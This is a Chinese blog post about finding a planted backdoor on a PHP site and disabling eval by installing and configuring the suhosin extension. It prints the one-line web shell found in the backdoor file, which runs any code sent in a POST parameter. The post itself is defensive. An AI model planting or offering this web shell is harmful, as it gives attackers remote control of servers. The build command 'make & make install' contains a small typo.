php5.x禁用eval的操作方法

简介: eval() 函数把字符串按照 PHP 代码来执行。(功能很强大啊。得禁止。)php的eval函数并不是系统组件函数,因此在php.ini中使用disable_functions是无法禁止它的。eval并非函数,而是php底层提供的一种特性。

QQ图片20220425232344.jpg

这篇日志记录下php禁用eval的操作方法。


今天阿里云给我发了个邮件,说是发现网站后门。容易受到攻击,我登录一看还真有。


QQ图片20220425232346.png

 

我靠,什么情况。还有这玩意呢。


把php文件下载到本地,看了一下,里边就一行代码


<?php @eval($_POST['cmd']);?>

 

Eval():百度了一下。


eval() 函数把字符串按照 PHP 代码来执行。(功能很强大啊。得禁止。)


php的eval函数并不是系统组件函数,因此在php.ini中使用disable_functions是无法禁止它的。eval并非函数,而是php底层提供的一种特性。


幸好有前辈提供了php扩展来禁用万恶的eval: suhosin


官网网址:


https://suhosin.org/stories/index.html


官方的安装教程写的比较清楚,但是,只能参考。注意画红框的位置。


QQ图片20220425232349.png


还好,许多先行者是会把他们的经验分享出来的。


安装教程:


yum install wget make gcc gcc-c++ zlib-devel openssl openssl-devel pcre-devel kernel keyutils patch perl
cd /usr/local/src
wget https://download.suhosin.org/suhosin-0.9.38.tar.gz
# 这一步我试了,但是没好用。没再折腾,用windows下载完之后,传到服务器上的。
# 解压那步也就省了。
tar zxvf suhosin-0.9.38.tar.gz
cd suhosin-0.9.38
/usr/bin/phpize
./configure --with-php-config=/usr/bin/php-config
make & make install

 

从上到下,一步一步的运行到这里。安装就成功了,如果你在安装的时候遇到问题,可以在下方留言,我们一起看看有什么办法可以解决。


安装成功之后,他会显示你的安装位置


QQ图片20220425232351.png

 

接下来配置php.Ini


将下边这部分代码写入php.ini即可。


extension=/usr/lib64/php/modules/suhosin.so
suhosin.executor.disable_eval=On


重启apache


systemctl restart apache


输出phpinfo


QQ图片20220425232353.jpg

 



目录
相关文章
|
24天前
|
缓存 PHP 开发者
PHP中的自动加载机制及其优化方法
传统的PHP开发中,经常会遇到类文件加载繁琐、效率低下的情况,而PHP的自动加载机制能够很好地解决这一问题。本文将深入探讨PHP中的自动加载机制,介绍其原理及实现方式,并提出了一些优化方法,帮助开发者提升代码加载效率,提高应用性能。
|
1月前
|
SQL 缓存 PHP
PHP技术探究:优化数据库查询效率的实用方法
本文将深入探讨PHP中优化数据库查询效率的实用方法,包括索引优化、SQL语句优化以及缓存机制的应用。通过合理的优化策略和技巧,可以显著提升系统性能,提高用户体验,是PHP开发者不容忽视的重要议题。
|
4月前
|
JSON PHP 数据格式
PHP curl方法封装
PHP curl方法封装
31 0
|
4月前
|
安全 小程序 PHP
PHP代码审计(五)PHP代码审计方法与步骤
(1):获取到网站源码(这就是废话……) (2):将网站部署到你自己的环境中,能运行。 这里特殊说明一下我的习惯,我本地的环境与线上的环境基本上保持一致,这样在本地审计及线上部署的时候能发现更多的问题。不建议说是随便搭个环境能跑起来就行,这样不是很严谨。 (3):拿到源码之后,浏览大概的项目结构。
67 0
|
4天前
|
存储 SQL 缓存
记录如何用php做一个网站访问计数器的方法
创建简单网站访问计数器,可通过存储访问次数的文件或数据库。首先,创建`counter.txt`存储计数,然后在`counter.php`中编写PHP代码以读取、增加并显示计数,使用`flock`锁定文件避免并发问题。网页通过包含`counter.php`展示计数。对于高流量网站,推荐使用数据库确保原子性和并发处理能力,或利用缓存提升性能。注意,实际生产环境可能需更复杂技术防止作弊。
|
4月前
|
PHP
PHP显示报错提示,开启display_errors的方法
PHP显示报错提示,开启display_errors的方法
51 0
|
6月前
|
数据采集 定位技术 PHP
简单而高效:使用PHP爬虫从网易音乐获取音频的方法
网易音乐是一个流行的在线音乐平台,提供了海量的音乐资源和服务。如果你想从网易音乐下载音频文件,你可能会遇到一些困难,因为网易音乐对其音频资源进行了加密和防盗链的处理。本文将介绍一种使用PHP爬虫从网易音乐获取音频的方法,该方法简单而高效,只需几行代码就可以实现。
简单而高效:使用PHP爬虫从网易音乐获取音频的方法
|
4月前
|
PHP 调度
PHP 定时任务方法封装
PHP 定时任务方法封装
32 0